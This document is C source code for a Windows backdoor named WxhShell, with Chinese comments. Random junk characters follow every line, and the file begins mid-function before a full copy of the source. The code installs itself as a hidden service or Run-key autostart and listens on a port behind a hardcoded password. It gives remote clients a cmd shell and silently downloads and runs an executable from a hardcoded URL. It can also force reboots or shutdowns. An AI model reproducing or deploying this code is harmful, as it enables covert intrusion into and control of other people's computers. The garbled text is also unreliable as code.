    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pkTVQdtRG  
    if(Boot(SHUTDOWN)) b%d,X-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `v'yGsIV  
    else { lc]cs D  
    closesocket(wsh); @iBmOt>3  
    ExitThread(0); g(G$*#}o8A  
    } SN[ar&I  
    break; SQMtR2  
    } a=6@} l1<  
  // 获取shell `f <w+u  
  case 's': { `L!L=.}4  
    CmdShell(wsh); :z%Zur+n c  
    closesocket(wsh); 9`KFJx6D  
    ExitThread(0); b S'dXP  
    break; $0+&xJVn  
  } Mf7 [@#$  
  // 退出 b+L!p.:  
  case 'x': { j'lC]}kH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  D@]/%;  
    CloseIt(wsh); [e{D  
    break; JEP9!y9y  
    } RPjw12Ly  
  // 离开 :Smyk.B2!  
  case 'q': { Q9;VSF)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Y!RU{w+Z  
    closesocket(wsh); UXw I?2L  
    WSACleanup(); @3~Wukc  
    exit(1); 6^2='y~e  
    break; %:sP#BQM  
        } "_=t1UE  
  } bXqTc2>=  
  } ,?+uQXfXR  
+I}!)$/  
  // 提示信息 0sCWIGU W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>xd  
} Lg7dJnf  
  } p1T0FBV L  
%MCS_'N J  
  return; voJJoy%  
} 7I;0 %sVQ{  
j9-.bGtm?.  
// shell模块句柄 BA8!NR|  
int CmdShell(SOCKET sock) =F5zU5`i  
{ Tr;&bX5]H  
STARTUPINFO si; 7;Vmbt9  
ZeroMemory(&si,sizeof(si)); '?LqVzZI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -<e_^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /"^XrVi-  
PROCESS_INFORMATION ProcessInfo; =?N$0F!  
char cmdline[]="cmd"; 6}Rb-\N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h${=gSJc  
  return 0; _SH~.Mt_!  
} 7 h>,  
Zlygx  
// 自身启动模式 R0G!5>1i  
int StartFromService(void) >X5RRSo  
{ Kk|)N3AV:  
typedef struct ;*d?Qe:  
{ sLSH`Xy?5  
  DWORD ExitStatus; ;wZplVB7y  
  DWORD PebBaseAddress; :b!&Xw$  
  DWORD AffinityMask; 9%m^^OOf  
  DWORD BasePriority; :'[ha$  
  ULONG UniqueProcessId; rqKK89fD'  
  ULONG InheritedFromUniqueProcessId; ^b^buCYw  
}   PROCESS_BASIC_INFORMATION; n]>L"D,  
|3hNTH?  
PROCNTQSIP NtQueryInformationProcess; Ix~rBD9  
7ZUS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ NO7@m uw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1O1MB&5%  
-$,'|\Y  
  HANDLE             hProcess; Owv}lJ  
  PROCESS_BASIC_INFORMATION pbi; WHu[A/##']  
JIf.d($ ~:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8x8nQ *_  
  if(NULL == hInst ) return 0; ll?Qg%V[t  
pr1kYMrqri  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nj-LG!"a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1KjzKFnb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q@"!uB.e  
zQ(`pld  
  if (!NtQueryInformationProcess) return 0; !wZIXpeL  
Pjq()\/[Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UMHFq-  
  if(!hProcess) return 0; b=SCyGxlZ5  
q 2;CvoF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `trcYmR=k  
6LqF*$+$`  
  CloseHandle(hProcess); Hr \vu`p$  
:!FGvR6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ *5+ZAF  
if(hProcess==NULL) return 0; v"<M ~9T)  
n1b^o~agwC  
HMODULE hMod; Ql,WKoj*  
char procName[255]; <@y(ikp>  
unsigned long cbNeeded; `X B$t?xi  
/4upw`35]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }|nEbM]#  
Jn9 {@??  
  CloseHandle(hProcess); 6.a|w}C`  
z+^9)wg9  
if(strstr(procName,"services")) return 1; // 以服务启动 &egP3  
<X?xr f  
  return 0; // 注册表启动 CX ; m8  
} H;+98AIy`  
48{B}j%oU  
// 主模块 X9C:AGbp  
int StartWxhshell(LPSTR lpCmdLine) n' 1LNi  
{ c2]h.G83  
  SOCKET wsl; S$a.8Xh  
BOOL val=TRUE; ET%F+  
  int port=0; |lyspD  
  struct sockaddr_in door; ?`75ah  
(@=h(u.  
  if(wscfg.ws_autoins) Install(); %UG|R:  
*9`k$'  
port=atoi(lpCmdLine); 3~LNz8Z*  
G)gb5VW k  
if(port<=0) port=wscfg.ws_port; -oY8]HrXfK  
o<5+v^mt#  
  WSADATA data; 'L^M"f^I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &M=15 uCK  
IiY%y:!g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bm6t f}8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7lr;S(C  
  door.sin_family = AF_INET; .g.g lQ_~=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3.rl^Cq1  
  door.sin_port = htons(port); XRP+0=0  
(aB:P03  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l(}l([rdQ  
closesocket(wsl); K1o&(;l8G  
return 1; "5<YN#  
} :zpT Gk8Z  
M" $g*j  
  if(listen(wsl,2) == INVALID_SOCKET) { IU"8.(;o  
closesocket(wsl); LCb0Kq}*/(  
return 1;  }s8xr>  
} R?J8#JPXD  
  Wxhshell(wsl); {@PZlQg  
  WSACleanup(); Ij9=J1c4  
v7D0E[)~  
return 0;  J@J`)  
}Q-Tw,j  
} c57`mOe/b  
lGJ&\Lv:  
// 以NT服务方式启动 v2YU2-X[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BLm}mb#/{  
{ 1\/~>  
DWORD   status = 0; .73sY5hdTN  
  DWORD   specificError = 0xfffffff; x@x5|8:ga  
%Kh}6   
  serviceStatus.dwServiceType     = SERVICE_WIN32; CM t$ )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z*o2jz?t4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bvT$/ (7  
  serviceStatus.dwWin32ExitCode     = 0; `u8(qGg7GF  
  serviceStatus.dwServiceSpecificExitCode = 0; t{Ks}9B  
  serviceStatus.dwCheckPoint       = 0; f+Fzpd?wS  
  serviceStatus.dwWaitHint       = 0; d~T@fa  
<<9|*Tz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )[=C@U  
  if (hServiceStatusHandle==0) return; {l\Ep=O vx  
WWLf'89It  
status = GetLastError(); Wq<H sJd/  
  if (status!=NO_ERROR) y"H(F,(N  
{ %-|$7?~   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; khQ fLA  
    serviceStatus.dwCheckPoint       = 0; V Y@`)  
    serviceStatus.dwWaitHint       = 0; 9|K :\!7  
    serviceStatus.dwWin32ExitCode     = status; f^Q)lIv  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q{~;4+ZD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gU?M/i2  
    return; B.);Ju  
  } g$z6*bL  
+Edq4QYwR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G%CS1#  
  serviceStatus.dwCheckPoint       = 0; +5%ncSJx  
  serviceStatus.dwWaitHint       = 0; <B+ WM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;U?323Z  
} tNAmA  
>B.KI}dE  
// 处理NT服务事件,比如:启动、停止 uY3?(f#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sjHcq5#U!  
{ W^eQ}A+Z  
switch(fdwControl) UAC"jy1D  
{ I1p{(fJ  
case SERVICE_CONTROL_STOP: /KlSI<T@  
  serviceStatus.dwWin32ExitCode = 0; )1<GSr9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oF s)UR  
  serviceStatus.dwCheckPoint   = 0; xzf/W+.>.  
  serviceStatus.dwWaitHint     = 0; ~e5E%bXxC  
  { e_FoNT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 41+@!`z7  
  } Yv[<c!\   
  return; w4RtIDW:  
case SERVICE_CONTROL_PAUSE: = jTC+0u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .la_u8A]  
  break; w(Q{;RNM;  
case SERVICE_CONTROL_CONTINUE: }RQHsS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SOS|3q_`  
  break; r4]hcoU  
case SERVICE_CONTROL_INTERROGATE: /5?tXH"  
  break; `b_n\pf ]  
}; R-Y 7I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V7k!;0u v  
} HUel  
Q@C  y\l  
// 标准应用程序主函数 ! z5Ozm+}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) - R`nitf  
{ Y{8}z ZD  
JRDIGS_~  
// 获取操作系统版本 c7R6.T  
OsIsNt=GetOsVer(); !]&+g'aC3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ] B>.}  
~hT(uxU/  
  // 从命令行安装 A=np ?wc  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6L-3cxqf\  
U \F ?{/  
  // 下载执行文件 ayLINpL  
if(wscfg.ws_downexe) { }50s\H._C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cY|@s?3NND  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1Q$/L+uJ5  
} ^fbzlu?G4-  
6Zv-kG  
if(!OsIsNt) { e`?o`@vO,  
// 如果时win9x,隐藏进程并且设置为注册表启动 {G=|fgz  
HideProc(); ?%b#FXA  
StartWxhshell(lpCmdLine); +rKV*XX@  
} zOis}$GR  
else Z jXn,W]~  
  if(StartFromService()) fD2 N}  
  // 以服务方式启动 Na+3aM%%  
  StartServiceCtrlDispatcher(DispatchTable); Qgq VbJP"  
else |sAl k,8s  
  // 普通方式启动 !@FzP@  
  StartWxhshell(lpCmdLine); QPB ^%8  
,oJ$m$(Lj  
return 0; 2rM/kF >g  
} IG!(q%Gf  
AzSmfEaU0  
{7EpljH@  
w%%*3[--X  
=========================================== J #;|P-pt  
H9[0-Ur5  
@$;I%  
0fN; L;v  
26=G%F6  
} ;d=  
" |[$ TT$Fb  
OS=~<ba  
#include <stdio.h> +rka 5ts  
#include <string.h> a *nCvZ  
#include <windows.h>  wKbU}29c  
#include <winsock2.h> 8,)<,g-/=  
#include <winsvc.h> 0*KL*Gn  
#include <urlmon.h> QH kjxj  
Yd<9Y\W%?  
#pragma comment (lib, "Ws2_32.lib") ~b6c:db3  
#pragma comment (lib, "urlmon.lib") d}@n,3  
@CKMJ^#|  
#define MAX_USER   100 // 最大客户端连接数 q( %)^C  
#define BUF_SOCK   200 // sock buffer RvyCc!d  
#define KEY_BUFF   255 // 输入 buffer HgTBON(  
zw0u|q;#  
#define REBOOT     0   // 重启 Y,-! QFS#  
#define SHUTDOWN   1   // 关机 X:QRy9]  
Axla@  
#define DEF_PORT   5000 // 监听端口 j 5bHzcv  
./CD W  
#define REG_LEN     16   // 注册表键长度 }|],UXk{xB  
#define SVC_LEN     80   // NT服务名长度  CxrsP.  
 )eH?3""  
// 从dll定义API #`%V/#YK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JHJ]BMm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D=M'g}l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (bD#PQXzm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?BU?c:"f  
oKPG0iM:  
// wxhshell配置信息 @u:q#b  
struct WSCFG { &pH XSU  
  int ws_port;         // 监听端口  8(}cbW  
  char ws_passstr[REG_LEN]; // 口令 b.cBg.a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 axt\  
  char ws_regname[REG_LEN]; // 注册表键名 ]<u%jTQREd  
  char ws_svcname[REG_LEN]; // 服务名 x.'Ys1M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'N\nJz}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "71Y{WQ   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EnEaUb?P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RP9~n)h~b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *`t3z-L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )qRE['M  
!z]{zM%  
}; %]o/p_<  
&jh17y  
// default Wxhshell configuration Nh^q&[?  
struct WSCFG wscfg={DEF_PORT, 4XSq\.@G  
    "xuhuanlingzhe", eRg;)[#0>$  
    1, >j&k:  
    "Wxhshell", Mz;KXP  
    "Wxhshell", *~d<]U5h  
            "WxhShell Service", m>!aI?g  
    "Wrsky Windows CmdShell Service", ,E2c9V'  
    "Please Input Your Password: ", so A] f  
  1, zG<>-?q~'  
  "http://www.wrsky.com/wxhshell.exe", b6@0?_n  
  "Wxhshell.exe" %z-n2%  
    }; w=[ITQ|W%  
/&5:v%L  
// 消息定义模块 N"zl7.E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^j2z\yo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H:mcex  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b\H,+|i K  
char *msg_ws_ext="\n\rExit."; 9jllW[`2F  
char *msg_ws_end="\n\rQuit."; \\Nt^j3qR  
char *msg_ws_boot="\n\rReboot..."; VI)hA ^ S  
char *msg_ws_poff="\n\rShutdown..."; SU(J  
char *msg_ws_down="\n\rSave to "; xN6}4JB  
a@#<qf8g  
char *msg_ws_err="\n\rErr!"; +#6f)H(P]  
char *msg_ws_ok="\n\rOK!"; R  xc  
Zk5AZ R!|  
char ExeFile[MAX_PATH]; 6dYa07  
int nUser = 0; iAXF;'|W  
HANDLE handles[MAX_USER]; 0<nW nD,z  
int OsIsNt; tZ:fh  p  
z\Z+>A  
SERVICE_STATUS       serviceStatus; 2c3/iYCKP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WmE4TL^8?  
AA}+37@2I  
// 函数声明 (i-L:  
int Install(void); Iv?1XI=  
int Uninstall(void); ix 5\Y  
int DownloadFile(char *sURL, SOCKET wsh); ZpZoOdjslV  
int Boot(int flag); 7Kt i&T  
void HideProc(void); a)!R4  
int GetOsVer(void); *]ME]2qP  
int Wxhshell(SOCKET wsl); 8x9;3{R   
void TalkWithClient(void *cs); #y1M1Og  
int CmdShell(SOCKET sock); H`7T;`Yb  
int StartFromService(void); UFeQ%oRa8  
int StartWxhshell(LPSTR lpCmdLine); }U**)"  
)a$sx}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H:o=gP60]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /km0[M  
L tK,_j  
// 数据结构和表定义 |2I/r$Q  
SERVICE_TABLE_ENTRY DispatchTable[] = MF +F8h>/  
{ KD'}9{F,  
{wscfg.ws_svcname, NTServiceMain}, j{H IdP  
{NULL, NULL} S0;s 7X#c  
}; cK'}+  
;>Z0e`=  
// 自我安装 vH6.;j'^  
int Install(void) TU9$5l/;g  
{ th+LScOX  
  char svExeFile[MAX_PATH]; ~2QD.(  
  HKEY key; hjp,v)#  
  strcpy(svExeFile,ExeFile); -c %'f&P  
T!>sL=uf  
// 如果是win9x系统,修改注册表设为自启动 XKvH^Z4h{l  
if(!OsIsNt) { x'V:qv*O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y>ePCDR3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .<6'*X R  
  RegCloseKey(key); K pmq C$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s2 $w>L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2=X.$&a  
  RegCloseKey(key); t5EYu*  
  return 0; [\=1|t5n~  
    } u`u{\ xN9  
  } ^h"@OEga?  
} c`7dNx  
else { PsN_c[+  
VRUA<x  
// 如果是NT以上系统,安装为系统服务 3u9}z+q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l)Mi?B~N  
if (schSCManager!=0) Oo9'  
{ l$C Y gm  
  SC_HANDLE schService = CreateService *Q;?p hr  
  ( Y\E7nll:.  
  schSCManager, ~FnY'F<35  
  wscfg.ws_svcname, `Yyi;!+0  
  wscfg.ws_svcdisp,  `dIwBfg_  
  SERVICE_ALL_ACCESS, aO* v"^oF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KuMH,rXF  
  SERVICE_AUTO_START, n{"a 0O  
  SERVICE_ERROR_NORMAL, UFyk%#L  
  svExeFile, Oki{)Ssy  
  NULL, "fu@2y4^  
  NULL, *4c5b'u  
  NULL, I~,bZA  
  NULL, _BG7 JvI  
  NULL ~zQxfl/  
  ); xU |8.,@  
  if (schService!=0) {6>$w/+~  
  { )-\qo#0l  
  CloseServiceHandle(schService); -K6y#O@@  
  CloseServiceHandle(schSCManager); -6# _t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~g*5."-i  
  strcat(svExeFile,wscfg.ws_svcname); ;G*)7fi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k!d<2Qp W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `{Fz  
  RegCloseKey(key); igF<].'V  
  return 0; 0*6Q 8`I  
    } gN[^ ,u  
  } ^O&&QRH~w  
  CloseServiceHandle(schSCManager); ~ F>'+9?Sn  
} =|H.r9-PK6  
} }w{E<C(M  
x}#N?d  
return 1; 2g;Id.i>  
} EEiWIf&S,  
DDZnNSo<JQ  
// 自我卸载 1tlqw  
int Uninstall(void) vZXdc+2l  
{ @ 6H7  
  HKEY key; S]Aaf-X_  
J@qLBe(v  
if(!OsIsNt) { U"a7myB+jX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i_av_I-  
  RegDeleteValue(key,wscfg.ws_regname); ]2MX7  
  RegCloseKey(key); {5c]\{O?[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CaV)F3   
  RegDeleteValue(key,wscfg.ws_regname); uS! V_]  
  RegCloseKey(key); T5wVJgN>  
  return 0; *O7PH1G  
  } @IOl0db  
} i\=I` Yn+  
}  I^G6aw  
else { @QF;m  
qpq(<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t"YN:y8-  
if (schSCManager!=0) 9G4os!x)  
{ lz _ r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6#HnA"I2n  
  if (schService!=0) N3w y][bo  
  { hz5t/E  
  if(DeleteService(schService)!=0) { Q<(aU{  
  CloseServiceHandle(schService); SZvC4lOn#  
  CloseServiceHandle(schSCManager); GZm=>!T  
  return 0; sY?sQ'E2]  
  } =]1g*~%  
  CloseServiceHandle(schService); Ho $+[K  
  } kH4m6p  
  CloseServiceHandle(schSCManager); fr&p0)85>B  
} j_S3<wEJ  
}  lHE+o;-  
i#PR Tbc  
return 1; l|M|;5TW  
} }Ggn2 X  
/buj(/q^#  
// 从指定url下载文件 iDYm4sY  
int DownloadFile(char *sURL, SOCKET wsh) M%s!qC+  
{ )/Oldyp  
  HRESULT hr; i*mI-l  
char seps[]= "/"; Q+Eqaz`  
char *token; =nlj|S ~3  
char *file; ^cuH\&&7  
char myURL[MAX_PATH]; /'^ BH A|h  
char myFILE[MAX_PATH]; >2NsBS(  
YB(8 T"  
strcpy(myURL,sURL); k7M{+X6[  
  token=strtok(myURL,seps); 7**zO3 H  
  while(token!=NULL) Y]i:$X]C?X  
  { W9{y1,G9  
    file=token; m<!CF3g  
  token=strtok(NULL,seps); #hXuGBZEI  
  } !04 ^E  
_S CY e  
GetCurrentDirectory(MAX_PATH,myFILE); #;UoZJ B  
strcat(myFILE, "\\"); WN o+%  
strcat(myFILE, file); &iT^IkA{  
  send(wsh,myFILE,strlen(myFILE),0); kD6Iz$tr  
send(wsh,"...",3,0); 4v2JrC;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Hs !s+  
  if(hr==S_OK) 1;vwreJ  
return 0; }xY|z"&  
else *=77|Dba  
return 1; m;S%RB^~H  
Yx](3w ID  
} `!ZkWF6  
`0-i>>  
// 系统电源模块 jRxzZt4  
int Boot(int flag) jJ?G7Q5 l  
{ }MtORqK  
  HANDLE hToken; l I2UpfkBP  
  TOKEN_PRIVILEGES tkp; `R*!GHro  
Ad4-aWH  
  if(OsIsNt) { |WW'qg]Uu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OOYdrv,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 &0MB>m  
    tkp.PrivilegeCount = 1; ,,-j5Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M->#WGl\B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f|2QI ~R  
if(flag==REBOOT) { ~O 4@b/!4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i(xL-&{  
  return 0; z'0 =3  
} S(:|S(  
else { Az/P;C=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k0xm-  
  return 0; @"m+9ZY  
} H-8_&E?6m  
  } Htep3Ol3  
  else { 1h`#H:  
if(flag==REBOOT) { fmFs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .L ^F4  
  return 0; Z*'_/Grv?  
} z0T6a15f!P  
else { qnO/4\qq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %t$)sg]  
  return 0; #:Ukv?  
} {3 >`k.w  
} ,fj~BkW{  
KC54=Rf  
return 1; 3) XS^WG  
} ca%XA|_J  
wL&[Vi_j{  
// win9x进程隐藏模块 :BblH0'  
void HideProc(void) M$3/jl*#}  
{ &]c7<=`K"  
s2K8|q=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,;yaYF 6|/  
  if ( hKernel != NULL ) t<cWMx5ra  
  { IOl0=+p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f1t?<=3Ek<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !KHbsOT?9  
    FreeLibrary(hKernel); 3GZrVhU?m  
  } M ED_#OS  
Y }8HJTMB  
return; 2-:`lrVd  
} Bhe0z|&  
Y7`Dx'x  
// 获取操作系统版本 _F jax  
int GetOsVer(void) RR>G}u9 np  
{ M,SIs 3  
  OSVERSIONINFO winfo; ^!SwY_>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qx}*L'xB  
  GetVersionEx(&winfo); !1P<A1K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t0)hd X  
  return 1; mm N $\2  
  else 5(y Q-/6C+  
  return 0; ?#L5V'ZZ*  
} l{. XhB  
5NMju!/  
// 客户端句柄模块 X{qa|6S,F  
int Wxhshell(SOCKET wsl) 'WwD$e0=  
{ 7Y^2JlZu=  
  SOCKET wsh; 'zuA3$SR  
  struct sockaddr_in client; dV"Kx  
  DWORD myID; &I/C^/F&  
i.+#a2   
  while(nUser<MAX_USER) AUR{O  
{ 5ma~Pjt8}  
  int nSize=sizeof(client); hy@e(k|S]U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > Cx;h=  
  if(wsh==INVALID_SOCKET) return 1; @T{I;8S  
2X=*;r"{J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9tB:1n}  
if(handles[nUser]==0) 'z Qp64]F  
  closesocket(wsh); iRL|u~bj  
else q)]S:$?BT  
  nUser++; @oFuX.  
  } ] -G~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~<=wTns!  
8uB6C0,6?  
  return 0; , ins/-3  
} h8HA^><Xr  
z4(Q.0x7  
// 关闭 socket \p!mX|  
void CloseIt(SOCKET wsh) )(`,!s,8)  
{ T2k# "zD  
closesocket(wsh); w5mSoK b  
nUser--; ( z.\,M  
ExitThread(0); R<ZyP~  
} HuajdC~  
1!2,K ot  
// 客户端请求句柄 mQ:5(]v  
void TalkWithClient(void *cs) T?8N$J  
{ tVAH\*a,/  
wU5= '  
  SOCKET wsh=(SOCKET)cs; QBTjiaYGa'  
  char pwd[SVC_LEN]; Fpntd IU  
  char cmd[KEY_BUFF]; X6o iOs  
char chr[1]; ['@R]Si"!  
int i,j; 5~xv"S(E}  
4+a u6ABy  
  while (nUser < MAX_USER) { /Y*6mQ:  
U\;mM\2rE  
if(wscfg.ws_passstr) { Vxim$'x!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M"z3F!-j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NSQf@o  
  //ZeroMemory(pwd,KEY_BUFF); Su[f"2oR  
      i=0; U9yR~pw  
  while(i<SVC_LEN) { x5!lnN,#  
J ?H| "  
  // 设置超时 zvh&o*\2<d  
  fd_set FdRead; $lAhKpdlW  
  struct timeval TimeOut; (\$=+' hy  
  FD_ZERO(&FdRead); %2rUJaOgy$  
  FD_SET(wsh,&FdRead); t0o'_>*?A  
  TimeOut.tv_sec=8; ,F0bkNBG  
  TimeOut.tv_usec=0; /PtmJ2 [  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <,(Ww   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yyu f  
M1=y-3dW3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #W=H)6  
  pwd=chr[0]; qvN 5[rb  
  if(chr[0]==0xd || chr[0]==0xa) { F$H^W@<w  
  pwd=0; OEj%cB!  
  break; 7a'@NgiGg  
  } m*H6\on:  
  i++; (khMjFOg  
    } x-ZCaa}O  
k[;(@e@c  
  // 如果是非法用户,关闭 socket Ih5F\eM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H%`|yUE(  
} Ed&M  
ewzZb*\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mi$*,fz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~JxAo\2i  
#kL4Rm;  
while(1) { ryoD 1OE  
. g95E<bd  
  ZeroMemory(cmd,KEY_BUFF); FR1se  
`1)n2<B  
      // 自动支持客户端 telnet标准   7%Ii:5Bp  
  j=0; (%f2ZNen  
  while(j<KEY_BUFF) { uOnyU+fZV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +#0,2 wR#  
  cmd[j]=chr[0]; ttC+`0+H  
  if(chr[0]==0xa || chr[0]==0xd) { ~:lN("9OI  
  cmd[j]=0; }e0)=*;l  
  break; \j3XT}  
  } 7Ys\=W1  
  j++; eXZH#K7S#  
    } A;#GU`  
\l9S5%L9  
  // 下载文件 CGN:=D<  
  if(strstr(cmd,"http://")) { Dh{sVRA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b0"R |d[i  
  if(DownloadFile(cmd,wsh)) @mrGG F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LzJNQd'  
  else !)TO2?,^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,mW-O!$3W  
  } by%k*y  
